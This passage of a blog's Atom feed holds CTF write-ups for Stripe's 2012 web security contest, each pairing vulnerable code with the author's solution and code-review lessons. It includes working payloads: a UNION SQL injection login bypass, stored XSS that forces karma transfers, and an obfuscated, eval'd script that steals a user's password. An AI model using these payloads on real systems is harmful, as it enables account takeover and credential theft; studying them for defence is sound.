  To setup my home Windows dev box to be accessible from outside I followed two main steps:&lt;br&gt;&lt;ul&gt;&lt;li&gt; Configure &lt;a href=&quot;http://windows.microsoft.com/en-US/windows7/allow-remote-desktop-connections-from-outside-your-home-network&quot;&gt;my router to forward the remote desktop port.&lt;/a&gt;&lt;/li&gt;&lt;li&gt; Setup a &lt;a href=&quot;http://www.dnsdynamic.org/&quot;&gt;free dynamic DNS service.&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;Last time I had to do this there was a service named dynamicdns.org which seems to still exist but no longer appears to be free. Instead I used dnsdynamic.org which is free and has a web API
  as well as links to and instructions for setting up native tools to dynamically update my IP address.
&lt;/div&gt;&lt;/div&gt;
</content>
	</entry>
	
	<entry>
		<title>Stripe CTF - Level 8</title>
		<link href="https://deletethis.net/dave/2012-12/Stripe+CTF+-+Level+8/"/>
		<updated>2012-12-07T00:00:00Z</updated>
		<id>https://deletethis.net/dave/2012-12/Stripe+CTF+-+Level+8/</id>
		<content type="html">&lt;div xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;&lt;div&gt;&lt;a href=&quot;https://stripe-ctf.com/levels/8&quot;&gt;Level 8&lt;/a&gt; of the Stripe CTF is a password server that returns success: true if and only if the password provided matches the password stored directly via
  a RESTful API and optionally indirectly via a callback URI. The solution is side channel attack like a timing attack but with ports instead of time.&lt;br&gt;&lt;br&gt;
  (I found this in my drafts folder and had intended to post a while ago.)&lt;br&gt;&lt;h4&gt;
    Code
  &lt;/h4&gt;&lt;pre&gt;&lt;code&gt;    def nextServerCallback(self, data):&lt;br&gt;        parsed_data = json.loads(data)&lt;br&gt;        # Chunk was wrong!&lt;br&gt;        if not parsed_data[&#39;success&#39;]:&lt;br&gt;            # Defend against timing attacks&lt;br&gt;            remaining_time = self.expectedRemainingTime()&lt;br&gt;            self.log_info(&#39;Going to wait %s seconds before responding&#39; %&lt;br&gt;                          remaining_time)&lt;br&gt;            reactor.callLater(remaining_time, self.sendResult, False)&lt;br&gt;            return&lt;br&gt;&lt;br&gt;        self.checkNext()&lt;/code&gt;&lt;/pre&gt;&lt;br&gt;&lt;h4&gt;
    Issue
  &lt;/h4&gt;The password server breaks the target password into four pieces and stores each on a different server. When a password request is sent to the main server it makes requests to the sub-servers
  for each part of the password request. It does this in series and if any part fails, then it stops midway through. Password requests may also be made with corresponding URI callbacks and after the
  server decides on the password makes an HTTP request on the provided URI callbacks saying if the password was success: true or false.&lt;br&gt;
  A timing attack looks at how long it took for a password to be rejected and longer times could mean a longer prefix of the password was correct allowing for a directed brute force attack. Timing
  attacks are prevented in this case by code on the password server that attempts to wait the same amount of time, even if the first sub-server responds with false. However, the server uses
  sequential outgoing port numbers shared between the requests to the sub-servers and the callback URIs. Accordingly, we can examine the port numbers on our callback URIs to direct a brute force
  attack.&lt;br&gt;
  If the password provided is totally incorrect then the password server will contact one sub-server and then your callback URI. So if you see the remote server&#39;s port number go up by two when
  requesting your callback URI, you know the password is totally incorrect. If by three then you know the first fourth of the password is correct and the rest is incorrect. If by four then two
  fourths of the password is correct. If by five then four sub-servers were contacted so you need to rely on the actual content of the callback URI request of &#39;success: true&#39; or &#39;false&#39; since you
  can&#39;t tell from the port change if the password was totally correct or not.&lt;br&gt;
  The trick in the real world is false positives. The port numbers are sequential over the system, so if the password server is the only thing making outgoing requests then its port numbers will also
  be sequential, however other things on the system can interrupt this. This means that the password server could contact three sub-servers and normally you&#39;d see the port number increase by four,
  but really it could increase by four or more because of other things running on the system. To counteract this I ran in cycles: brute forcing the first fourth of the password and removing any entry
  that gets a two port increase and keeping all others. Eventually I could remove all but the correct first fourth of the password. And so on for the next parts of the password.&lt;br&gt;
  I wrote my app to brute force this in Python. This was my first time writing Python code so it is not pretty.&lt;br&gt;&lt;/div&gt;&lt;/div&gt;
</content>
	</entry>
	
	<entry>
		<title>Stripe CTF - Level 7</title>
		<link href="https://deletethis.net/dave/2012-09/Stripe+CTF+-+Level+7/"/>
		<updated>2012-09-13T00:00:00Z</updated>
		<id>https://deletethis.net/dave/2012-09/Stripe+CTF+-+Level+7/</id>
		<content type="html">&lt;div xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;&lt;/div&gt;
</content>
	</entry>
	
	<entry>
		<title>Stripe CTF - Level 5</title>
		<link href="https://deletethis.net/dave/2012-09/Stripe+CTF+-+Level+5/"/>
		<updated>2012-09-11T00:00:00Z</updated>
		<id>https://deletethis.net/dave/2012-09/Stripe+CTF+-+Level+5/</id>
		<content type="html">&lt;div xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;&lt;div&gt;&lt;p&gt;&lt;a href=&quot;https://stripe-ctf.com/levels/5&quot;&gt;Level 5&lt;/a&gt; of the Stripe CTF revolved around a design issue in an OpenID like protocol.
  &lt;/p&gt;&lt;h4&gt;
    Code
  &lt;/h4&gt;&lt;pre&gt;&lt;code&gt;    def authenticated?(body)&lt;br&gt;      body =~ /[^&#92;w]AUTHENTICATED[^&#92;w]*$/&lt;br&gt;    end&lt;br&gt;&lt;br&gt;...&lt;br&gt;&lt;br&gt;      if authenticated?(body)&lt;br&gt;        session[:auth_user] = username&lt;br&gt;        session[:auth_host] = host&lt;br&gt;        return &quot;Remote server responded with: #{body}.&quot; &#92;&lt;br&gt;               &quot; Authenticated as #{username}@#{host}!&quot;&lt;/code&gt;&lt;/pre&gt;&lt;h4&gt;
    Issue
  &lt;/h4&gt;&lt;p&gt;
    This level is an implementation of a federated identity protocol. You give it an endpoint URI and a username and password, it posts the username and password to the endpoint URI, and if the
    response is &#39;AUTHENTICATED&#39; then access is allowed. It is easy to be authenticated on a server you control, but this level requires you to authenticate from the server running the level. This
    level only talks to stripe CTF servers so the first step is to upload a document to the &lt;a href=&quot;http://deletethis.net/dave/?uri=http%3A%2F%2Fdavescoolblog.blogspot.com%2F2012%2F09%2Fstripe-ctf-input-validation-levels-1-2.html&quot;&gt;level 2&lt;/a&gt; server containing the text &#39;AUTHENTICATED&#39; and we
    can now authenticate on a level 2 server. Notice that the level 5 server will dump out the content of the endpoint URI and that the regexp it uses to detect the text &#39;AUTHENTICATED&#39; can match on
    that dump. Accordingly I uploaded an authenticated file to
  &lt;/p&gt;&lt;pre&gt;&lt;code&gt;https://level02-2.stripe-ctf.com/user-ajvivlehdt/uploads/authenticated&lt;/code&gt;&lt;/pre&gt;Using that as my endpoint URI means authenticating as level 2. I can then choose the following endpoint
  URI to authenticate as level 5.
  &lt;pre&gt;&lt;code&gt;https://level05-1.stripe-ctf.com/user-qtoyekwrod/?pingback=https%3A%2F%2Flevel02-2.stripe-ctf.com%2Fuser-ajvivlehdt%2Fuploads%2Fauthenticated&amp;amp;username=a&amp;amp;password=a&lt;/code&gt;&lt;/pre&gt;Navigating
  to that URI results in the level 5 server telling me I&#39;m authenticated as level 2 and lists the text of the level 2 file &#39;AUTHENTICATED&#39;. Feeding this back into the level 5 server as my endpoint
  URI means level 5 seeing &#39;AUTHENTICATED&#39; coming back from a level 5 URI.
  &lt;h4&gt;
    Notes
  &lt;/h4&gt;&lt;p&gt;
    I didn&#39;t see any particular code review red flags, really the issue here is that the regular expression testing for &#39;AUTHENTICATED&#39; is too permisive and the protocol itself doesn&#39;t do enough. The
    protocol requires only a set piece of common literal text to be returned which makes it easy for a server to accidentally fall into authenticating. Having the endpoint URI have to return variable
    text based on the input would make it much harder for a server to accidentally authenticate.
  &lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
</content>
	</entry>
	
	<entry>
		<title>Stripe CTF - XSS, CSRF (Levels 4 &amp; 6)</title>
		<link href="https://deletethis.net/dave/2012-09/Stripe+CTF+-+XSS-+CSRF+-Levels+4+-+6-/"/>
		<updated>2012-09-10T00:00:00Z</updated>
		<id>https://deletethis.net/dave/2012-09/Stripe+CTF+-+XSS-+CSRF+-Levels+4+-+6-/</id>
		<content type="html">&lt;div xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;&lt;div&gt;&lt;p&gt;&lt;a href=&quot;https://stripe-ctf.com/levels/4&quot;&gt;Level 4&lt;/a&gt; and &lt;a href=&quot;https://stripe-ctf.com/levels/6&quot;&gt;level 6&lt;/a&gt; of the Stripe CTF had solutions around XSS.
  &lt;/p&gt;&lt;h3&gt;
    Level 4
  &lt;/h3&gt;&lt;h4&gt;
    Code
  &lt;/h4&gt;&lt;pre&gt;&lt;code&gt;&amp;gt; Registered Users &lt;br&gt;&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;&lt;br&gt;
    &amp;lt;%@registered_users.each do |user| %&amp;gt;&lt;br&gt;
    &amp;lt;%last_active = user[:last_active].strftime(&amp;amp;apos;%H:%M:%S UTC&amp;amp;apos;) %&amp;gt;&lt;br&gt;
    &amp;lt;%if @trusts_me.include?(user[:username]) %&amp;gt;&lt;br&gt;&lt;li&gt;&lt;code&gt;&lt;br&gt;
      &amp;lt;%= user[:username] %&amp;gt;&lt;br&gt;
      (password: &amp;lt;%= user[:password] %&amp;gt;, last active &amp;lt;%= last_active %&amp;gt;)&lt;br&gt;&lt;/code&gt;&lt;/li&gt;&lt;h4&gt;
      Issue
    &lt;/h4&gt;&lt;p&gt;
      The level 4 web application lets you transfer karma to another user and in doing so you are also forced to expose your password to that user. The main user page displays a list of users who
      have transfered karma to you along with their password. The password is not HTML encoded so we can inject HTML into that user&#39;s browser. For instance, we could create an account with the
      following HTML as the password which will result in XSS with that HTML:
    &lt;/p&gt;&lt;pre&gt;&lt;code&gt;&lt;script&gt;&lt;![CDATA[
jQuery.post(&quot;https://level04-2.stripe-ctf.com/user-kxyiuircqs/transfer&quot;, {&quot;to&quot;: &quot;l&quot;, &quot;amount&quot;: 1});
]]&gt;&lt;/script&gt;&lt;/code&gt;&lt;/pre&gt;This HTML runs script that uses jQuery to post to the transfer URI resulting in a transfer of karma from the attacked user to the attacker user, and also the attacked user&#39;s
password.
    &lt;h4&gt;
      Notes
    &lt;/h4&gt;&lt;p&gt;
      Code review red flags in this case included lack of encoding when using user controlled content to create HTML content, storing passwords in plain text in the database, and displaying passwords
      generally. By design the web app shows users passwords which is a very bad idea.
    &lt;/p&gt;&lt;h3&gt;
      Level 6
    &lt;/h3&gt;&lt;h4&gt;
      Code
    &lt;/h4&gt;&lt;pre&gt;&lt;code&gt;&lt;script&gt;&lt;![CDATA[
 &lt;br /&gt;    var username = &quot;&lt;%= @username %&gt;&quot;; &lt;br /&gt;    var post_data = &lt;%= @posts.to_json %&gt;; &lt;br /&gt;&lt;br /&gt;    function escapeHTML(val) { &lt;br /&gt;       return $(&amp;amp;apos;&lt;div/&gt;&amp;amp;apos;).text(val).html();&lt;br /&gt;    } &lt;br /&gt;&lt;br /&gt;    function addPost(item) {&lt;br /&gt;       var new_element = &amp;amp;apos;&lt;tr&gt;&lt;th&gt;&amp;amp;apos; + escapeHTML(item[&amp;amp;apos;user&amp;amp;apos;]) + &lt;br /&gt;          &amp;amp;apos;&lt;/th&gt;&lt;td&gt;&lt;h4&gt;&amp;amp;apos; + escapeHTML(item[&amp;amp;apos;title&amp;amp;apos;]) + &amp;amp;apos;&lt;/h4&gt;&amp;amp;apos; + &lt;br /&gt;          escapeHTML(item[&amp;amp;apos;body&amp;amp;apos;]) + &amp;amp;apos;&lt;/td&gt;&lt;/tr&gt;&amp;amp;apos;; $(&amp;amp;apos;#posts &gt; tbody:last&amp;amp;apos;).prepend(new_element); &lt;br /&gt;    } &lt;br /&gt;    &lt;br /&gt;    for(var i = 0; i &lt; post_data.length; i++) { &lt;br /&gt;       var item = post_data[i]; &lt;br /&gt;       addPost(item); &lt;br /&gt;    }; &lt;br /&gt;
]]&gt;&lt;/script&gt;&lt;br&gt;&lt;br&gt;...&lt;br&gt;&lt;br&gt;    def self.safe_insert(table, key_values)&lt;br&gt;      key_values.each do |key, value|&lt;br&gt;        # Just in case people try to exfiltrate&lt;br&gt;        # level07-password-holder&#39;s password&lt;br&gt;        if value.kind_of?(String) &amp;amp;&amp;amp;&lt;br&gt;            (value.include?(&#39;&quot;&#39;) || value.include?(&quot;&#39;&quot;))&lt;br&gt;          raise &quot;Value has unsafe characters&quot;&lt;br&gt;        end&lt;br&gt;      end&lt;br&gt;&lt;br&gt;      conn[table].insert(key_values)&lt;br&gt;    end&lt;/code&gt;&lt;/pre&gt;&lt;h4&gt;
      Issue
    &lt;/h4&gt;&lt;p&gt;
      This web app does a much better job than the level 4 app with HTML injection. They use encoding whenever creating HTML using user controlled data, however they don&#39;t use encoding when injecting
      JSON data into script (see post_data initialization above). This JSON data is the last five most recent messages sent on the app so we get to inject script directly. However, the system also
      ensures that no strings we write contains single or double quotes so we can&#39;t get out of the string in the JSON data directly. As it turns out, HTML lets you jump out of a script block using no
      matter where you are in script. For instance, in the middle of a value in some JSON data we can jump out of script. But we still want to run script, so we can jump right back in. So the frame
      so far for the message we&#39;re going to post is the following:
    &lt;/p&gt;&lt;pre&gt;&lt;script&gt;&lt;![CDATA[
 our new code goes here 
]]&gt;&lt;/script&gt;&lt;script&gt;&lt;![CDATA[
var post_data = [];//&lt;/pre&gt;&lt;/code&gt;Because we can&#39;t use quotes, actually running script takes some creativity.  I decided to percent-encode my script so quotes don&#39;t show up directly, represent this as a regular expression literal so I don&#39;t have to use quotes and to eval this script after decoding. There&#39;s likely plenty of other ways to get around lack of quotes.&lt;code&gt;&lt;pre&gt;var code = /percent-encoded script here/.toString();&lt;br /&gt;eval(decodeURIComponent(code.substring(1, code.length - 1))); &lt;/pre&gt;&lt;/code&gt;Then the script I actually encode gets the password from the user-info page (which includes password), regexes the password out, and posts it as a message:&lt;code&gt;&lt;pre&gt;jQuery.get(&quot;https://level06-2.stripe-ctf.com/user-nhboioztch/user_info&quot;).then(function(body) {&lt;br /&gt;var password = /Password:&lt;&#92;/th&gt;[^&gt;]*&gt;([^&lt;]*)/.exec(body)[1];&lt;br /&gt;var encPassword = &quot;&quot;;&lt;br /&gt;for (var idx = 0; idx &lt; password.length; ++idx) {&lt;br /&gt; encPassword += &quot;%&quot;;&lt;br /&gt; encPassword += password.charCodeAt(idx).toString(16);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;$(&quot;#content&quot;).val(encPassword);&lt;br /&gt;$(&quot;#title&quot;).val(&quot;password&quot;);&lt;br /&gt;document.getElementsByTagName(&quot;form&quot;)[0].submit();&lt;br /&gt;});&lt;br /&gt;&lt;/pre&gt;&lt;/code&gt;Of course since messages can&#39;t include quotes, I have to encode the password before posting it as a message.&lt;/p&gt;&lt;p&gt;Altogether now here&#39;s my message:&lt;code&gt;&lt;pre&gt;
]]&gt;&lt;/script&gt;&lt;script&gt;&lt;![CDATA[
var code = /%6A%51%75%65%72%79%2E%67%65%74%28%22%68%74%74%70%73%3A%2F%2F%6C%65%76%65%6C%30%36%2D%32%2E%73%74%72%69%70%65%2D%63%74%66%2E%63%6F%6D%2F%75%73%65%72%2D%6E%68%62%6F%69%6F%7A%74%63%68%2F%75%73%65%72%5F%69%6E%66%6F%22%29%2E%74%68%65%6E%28%66%75%6E%63%74%69%6F%6E%28%62%6F%64%79%29%20%7B%0A%76%61%72%20%70%61%73%73%77%6F%72%64%20%3D%20%2F%50%61%73%73%77%6F%72%64%3A%3C%5C%2F%74%68%3E%5B%5E%3E%5D%2A%3E%28%5B%5E%3C%5D%2A%29%2F%2E%65%78%65%63%28%62%6F%64%79%29%5B%31%5D%3B%0A%76%61%72%20%65%6E%63%50%61%73%73%77%6F%72%64%20%3D%20%22%22%3B%0A%66%6F%72%20%28%76%61%72%20%69%64%78%20%3D%20%30%3B%20%69%64%78%20%3C%20%70%61%73%73%77%6F%72%64%2E%6C%65%6E%67%74%68%3B%20%2B%2B%69%64%78%29%20%7B%0A%09%65%6E%63%50%61%73%73%77%6F%72%64%20%2B%3D%20%22%25%22%3B%0A%09%65%6E%63%50%61%73%73%77%6F%72%64%20%2B%3D%20%70%61%73%73%77%6F%72%64%2E%63%68%61%72%43%6F%64%65%41%74%28%69%64%78%29%2E%74%6F%53%74%72%69%6E%67%28%31%36%29%3B%0A%7D%0A%0A%24%28%22%23%63%6F%6E%74%65%6E%74%22%29%2E%76%61%6C%28%65%6E%63%50%61%73%73%77%6F%72%64%29%3B%0A%24%28%22%23%74%69%74%6C%65%22%29%2E%76%61%6C%28%22%70%61%73%73%77%6F%72%64%22%29%3B%0A%64%6F%63%75%6D%65%6E%74%2E%67%65%74%45%6C%65%6D%65%6E%74%73%42%79%54%61%67%4E%61%6D%65%28%22%66%6F%72%6D%22%29%5B%30%5D%2E%73%75%62%6D%69%74%28%29%3B%0A%7D%29%3B/.toString(); eval(decodeURIComponent(code.substring(1, code.length - 1))); 
]]&gt;&lt;/script&gt;&lt;script&gt;&lt;![CDATA[
var post_data= [];//&lt;/pre&gt;&lt;/code&gt;&lt;/p&gt;&lt;h4&gt;Notes&lt;/h4&gt;&lt;p&gt;Code review red flags included storing the password in plain text, displaying the password in an HTML page, lack of encoding when generating script on the server side, and a deny list of dangerous characters (quotes). Generally folks should use allow lists not deny lists.  You&#39;ll always forget something from your deny list or the platform will change out from under you adding new dangerous entries you didn&#39;t consider in your deny list.  In this case an allow list probably also doesn&#39;t make as much sense as encoding correctly. The first issue I ran into, was when posting the password I forgot to encode and the password did contain quotes. The second issue I ran into was that my injected script posts a message which results in a page refresh, which results in my injected script running again. This continues five times until my injected script message is pushed off the end. I had to be patient waiting for the target attacked user to login before I would refresh and post my own password.&lt;/p&gt;&lt;/div&gt;
]]&gt;&lt;/script&gt;&lt;/pre&gt;&lt;/ul&gt;&lt;/div&gt;&lt;/div&gt;
</content>
	</entry>
	
	<entry>
		<title>Stripe CTF - Input validation (Levels 1 &amp; 2)</title>
		<link href="https://deletethis.net/dave/2012-09/Stripe+CTF+-+Input+validation+-Levels+1+-+2-/"/>
		<updated>2012-09-06T00:00:00Z</updated>
		<id>https://deletethis.net/dave/2012-09/Stripe+CTF+-+Input+validation+-Levels+1+-+2-/</id>
		<content type="html">&lt;div xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;&lt;div&gt;&lt;p&gt;&lt;a href=&quot;http://davescoolblog.blogspot.com/2012/08/stripe-web-security-ctf-summary.html&quot;&gt;Stripe&#39;s web security CTF&lt;/a&gt;&#39;s &lt;a href=&quot;https://stripe-ctf.com/levels/1&quot;&gt;Level 1&lt;/a&gt; and &lt;a href=&quot;https://stripe-ctf.com/levels/2&quot;&gt;level 2&lt;/a&gt; of the Stripe CTF had issues with missing input validation solutions described below.
  &lt;/p&gt;&lt;h3&gt;
    Level 1
  &lt;/h3&gt;&lt;h4&gt;
    Code
  &lt;/h4&gt;&lt;pre&gt;&lt;code&gt;    &amp;lt;?php&lt;br&gt;      $filename = &#39;secret-combination.txt&#39;;&lt;br&gt;      extract($_GET);&lt;br&gt;      if (isset($attempt)) {&lt;br&gt;        $combination = trim(file_get_contents($filename));&lt;br&gt;        if ($attempt === $combination) {&lt;/code&gt;&lt;/pre&gt;&lt;h4&gt;Issue&lt;/h4&gt;&lt;p&gt;The issue here is the usage of the &lt;a href=&quot;http://www.php.net/manual/en/function.extract.php&quot;&gt;extract&lt;/a&gt; php method which extracts name value pairs from the map input parameter and creates corresponding local variables. However this code uses $_GET which contains a map of name value pairs passed in the query of the URI. The expected behavior is to get an attempt variable out, but since no input validation is done I can provide a filename variable and overwrite the value of $filename. Providing an empty string gives an empty string $combination which I can match with an empty string $attempt. So without knowing the combination I can get past the combination check.&lt;/p&gt;&lt;h4&gt;Notes&lt;/h4&gt;&lt;p&gt;Code review red flag in this case was the direct use of $_GET with no validation. Instead of using extract the developer could try to extract specifically the attempt variable manually without using extract.&lt;/p&gt;&lt;h3&gt;Level 2&lt;/h3&gt;&lt;h4&gt;Code&lt;/h4&gt;&lt;code&gt;&lt;pre&gt;    $dest_dir = &quot;uploads/&quot;;&lt;br&gt;    $dest = $dest_dir . basename($_FILES[&quot;dispic&quot;][&quot;name&quot;]);&lt;br&gt;    $src = $_FILES[&quot;dispic&quot;][&quot;tmp_name&quot;];&lt;br&gt;    if (move_uploaded_file($src, $dest)) {&lt;br&gt;      $_SESSION[&quot;dispic_url&quot;] = $dest;&lt;br&gt;      chmod($dest, 0644);&lt;br&gt;      echo &quot;&lt;p&gt;Successfully uploaded your display picture.&lt;/p&gt;&quot;;&lt;br&gt;    }&lt;/pre&gt;&lt;/code&gt;&lt;h4&gt;Issue&lt;/h4&gt;&lt;p&gt;This code accepts POST uploads of images but with no validation to ensure it is not an arbitrary file. And even though it uses chmod to ensure the file is not executable, things like PHP don&#39;t require a file to be executable in order to run them. Accordingly, one can upload a PHP script, then navigate to that script to run it. My PHP script dumped out the contents of the file we&#39;re interested in for this level:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;&lt;/code&gt;&lt;/pre&gt;&lt;h4&gt;
    Notes
  &lt;/h4&gt;&lt;p&gt;
    Code review red flags include manual file management, chmod, and use of file and filename inputs without any kind of validation. If this code controlled the filename and ensured that the
    extension was one of a set of image extensions, this would solve this issue. Due to browser mime sniffing its additionally a good idea to serve a content-type that starts with &quot;image/&quot; for these
    uploads to ensure browsers treat these as images and not sniff for script or HTML.
  &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
</content>
	</entry>
	
	<entry>
		<title>Stripe CTF - SQL injections (Levels 0 &amp; 3)</title>
		<link href="https://deletethis.net/dave/2012-09/Stripe+CTF+-+SQL+injections+-Levels+0+-+3-/"/>
		<updated>2012-09-05T00:00:00Z</updated>
		<id>https://deletethis.net/dave/2012-09/Stripe+CTF+-+SQL+injections+-Levels+0+-+3-/</id>
		<content type="html">&lt;div xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;&lt;div&gt;&lt;p&gt;&lt;a href=&quot;http://davescoolblog.blogspot.com/2012/08/stripe-web-security-ctf-summary.html&quot;&gt;Stripe&#39;s web security CTF&lt;/a&gt;&#39;s &lt;a href=&quot;https://stripe-ctf.com/levels/0&quot;&gt;level 0&lt;/a&gt; and &lt;a href=&quot;https://stripe-ctf.com/levels/3&quot;&gt;level 3&lt;/a&gt; had SQL injection solutions described below.
  &lt;/p&gt;&lt;h3&gt;
    Level 0
  &lt;/h3&gt;&lt;h4&gt;
    Code
  &lt;/h4&gt;&lt;pre&gt;&lt;code&gt;app.get(&#39;/*&#39;, function(req, res) {&lt;br&gt;  var namespace = req.param(&#39;namespace&#39;);&lt;br&gt;&lt;br&gt;  if (namespace) {&lt;br&gt;    var query = &#39;SELECT * FROM secrets WHERE key LIKE ? || &quot;.%&quot;&#39;;&lt;br&gt;    db.all(query, namespace, function(err, secrets) {&lt;/code&gt;&lt;/pre&gt;&lt;h4&gt;
    Issue
  &lt;/h4&gt;&lt;p&gt;
    There&#39;s no input validation on the namespace parameter and it is injected into the SQL query with no encoding applied. This means you can use the &#39;%&#39; character as the namespace which is the
    wildcard character matching all secrets.
  &lt;/p&gt;&lt;h4&gt;
    Notes
  &lt;/h4&gt;&lt;p&gt;
    Code review red flag was using strings to query the database. Additional levels made this harder to exploit by using an API with objects to construct a query rather than strings and by running a
    query that only returned a single row, only ran a single command, and didn&#39;t just dump out the results of the query to the caller.
  &lt;/p&gt;&lt;h3&gt;
    Level 3
  &lt;/h3&gt;&lt;h4&gt;
    Code
  &lt;/h4&gt;&lt;pre&gt;&lt;code&gt;@app.route(&#39;/login&#39;, methods=[&#39;POST&#39;])&lt;br&gt;def login():&lt;br&gt;    username = flask.request.form.get(&#39;username&#39;)&lt;br&gt;    password = flask.request.form.get(&#39;password&#39;)&lt;br&gt;&lt;br&gt;    if not username:&lt;br&gt;        return &quot;Must provide username&#92;n&quot;&lt;br&gt;&lt;br&gt;    if not password:&lt;br&gt;        return &quot;Must provide password&#92;n&quot;&lt;br&gt;&lt;br&gt;    conn = sqlite3.connect(os.path.join(data_dir, &#39;users.db&#39;))&lt;br&gt;    cursor = conn.cursor()&lt;br&gt;&lt;br&gt;    query = &quot;&quot;&quot;SELECT id, password_hash, salt FROM users&lt;br&gt;               WHERE username = &#39;{0}&#39; LIMIT 1&quot;&quot;&quot;.format(username)&lt;br&gt;    cursor.execute(query)&lt;br&gt;&lt;br&gt;    res = cursor.fetchone()&lt;br&gt;    if not res:&lt;br&gt;        return &quot;There&#39;s no such user {0}!&#92;n&quot;.format(username)&lt;br&gt;    user_id, password_hash, salt = res&lt;br&gt;&lt;br&gt;    calculated_hash = hashlib.sha256(password + salt)&lt;br&gt;    if calculated_hash.hexdigest() != password_hash:&lt;br&gt;        return &quot;That&#39;s not the password for {0}!&#92;n&quot;.format(username)&lt;/code&gt;&lt;/pre&gt;&lt;h4&gt;
    Issue
  &lt;/h4&gt;&lt;p&gt;
    There&#39;s little input validation on username before it is used to constrcut a SQL query. There&#39;s no encoding applied when constructing the SQL query string which is used to, given a username,
    produce the hashed password and the associated salt. Accordingly one can make username a part of a SQL query command which ensures the original select returns nothing and provide a new SELECT via
    a UNION that returns some literal values for the hash and salt. For instance the following in blue is the query template and the red is the username injected SQL code:
  &lt;/p&gt;&lt;pre&gt;&lt;code&gt;&lt;span style=&quot;color:blue&quot;&gt;SELECT id, password_hash, salt FROM users WHERE username = &#39;&lt;/span&gt;&lt;span style=&quot;color:red&quot;&gt;doesntexist&#39; UNION SELECT id, (&#39;5e884898da28047151d0e56f8dc6292773603d0d6aabbdd62a11ef721d1542d8&#39;) AS password_hash, (&#39;word&#39;) AS salt FROM users WHERE username = &#39;bob&lt;/span&gt;&lt;span style=&quot;color:blue;&quot;&gt;&#39; LIMIT 1&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;In the above I&#39;ve supplied my own salt and hash such that my salt (word) plus my password (pass) hashed produce the hash I provided above. Accordingly, by
  providing the above long and interesting looking username and password as &#39;pass&#39; I can login as any user.
  &lt;h4&gt;
    Notes
  &lt;/h4&gt;&lt;p&gt;
    Code review red flag is again using strings to query the database. Although this level was made more difficult by using an API that returns only a single row and by using the execute method which
    only runs one command. I was forced to (as a SQL noob) learn &lt;a href=&quot;http://www.sqlite.org/lang.html&quot;&gt;the syntax of SELECT&lt;/a&gt; in order to figure out UNION and how to return my own literal
    values.
  &lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
</content>
	</entry>
	
	<entry>
		<title>Stripe Web Security CTF Summary</title>
		<link href="https://deletethis.net/dave/2012-08/Stripe+Web+Security+CTF+Summary/"/>
		<updated>2012-08-30T00:00:00Z</updated>
		<id>https://deletethis.net/dave/2012-08/Stripe+Web+Security+CTF+Summary/</id>
		<content type="html">&lt;div xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;&lt;div&gt;&lt;p&gt;
    I was the &lt;a href=&quot;https://stripe-ctf.com/leaderboard/27&quot;&gt;546th person&lt;/a&gt; to complete Stripe&#39;s web security CTF and again had a ton of fun applying my theoretical knowledge of web security
    issues to the (semi-)real world. As I went through the levels I thought about what red flags jumped out at me (or should have) that I could apply to future code reviews:
  &lt;/p&gt;&lt;table&gt;&lt;tr&gt;&lt;th&gt;
        Level
      &lt;/th&gt;&lt;th&gt;
        Issue
      &lt;/th&gt;&lt;th&gt;
        Code Review Red Flags
      &lt;/th&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;
        0
      &lt;/td&gt;&lt;td&gt;
        Simple SQL injection
      &lt;/td&gt;&lt;td&gt;
        No encoding when constructing SQL command strings. Constructing SQL command strings instead of SQL API
      &lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;
        1
      &lt;/td&gt;&lt;td&gt;
        extract($_GET);
      &lt;/td&gt;&lt;td&gt;
        No input validation.
      &lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;
        2
      &lt;/td&gt;&lt;td&gt;
        Arbitrary PHP execution
      &lt;/td&gt;&lt;td&gt;
        No input validation. Allow file uploads. File permissions modification.
      &lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;
        3
      &lt;/td&gt;&lt;td&gt;
        Advanced SQL injection
      &lt;/td&gt;&lt;td&gt;
        Constructing SQL command strings instead of SQL API.
      &lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;
        4
      &lt;/td&gt;&lt;td&gt;
        HTML injection, XSS and CSRF
      &lt;/td&gt;&lt;td&gt;
        No encoding when constructing HTML. No CSRF counter measures. Passwords stored in plain text. Password displayed on site.
      &lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;
        5
      &lt;/td&gt;&lt;td&gt;
        Pingback server doesn&#39;t need to opt-in
      &lt;/td&gt;&lt;td&gt;
        n/a - By design protocol issue.
      &lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;
        6
      &lt;/td&gt;&lt;td&gt;
        Script injection and XSS
      &lt;/td&gt;&lt;td&gt;
        No encoding while constructing script. Deny list (of dangerous characters). Passwords stored in plain text. Password displayed on site.
      &lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;
        7
      &lt;/td&gt;&lt;td&gt;
        Length extension attack
      &lt;/td&gt;&lt;td&gt;
        Custom crypto code. Constructing SQL command string instead of SQL API.
      &lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;
        8
      &lt;/td&gt;&lt;td&gt;
        Side channel attack
      &lt;/td&gt;&lt;td&gt;
        Password handling code. Timing attack mitigation too clever.
      &lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;p&gt;
    More about each level in the future.
  &lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
</content>
	</entry>
	
	<entry>
		<title>Web Security Contest - Stripe CTF</title>
		<link href="https://deletethis.net/dave/2012-08/Web+Security+Contest+-+Stripe+CTF/"/>
		<updated>2012-08-27T00:00:00Z</updated>
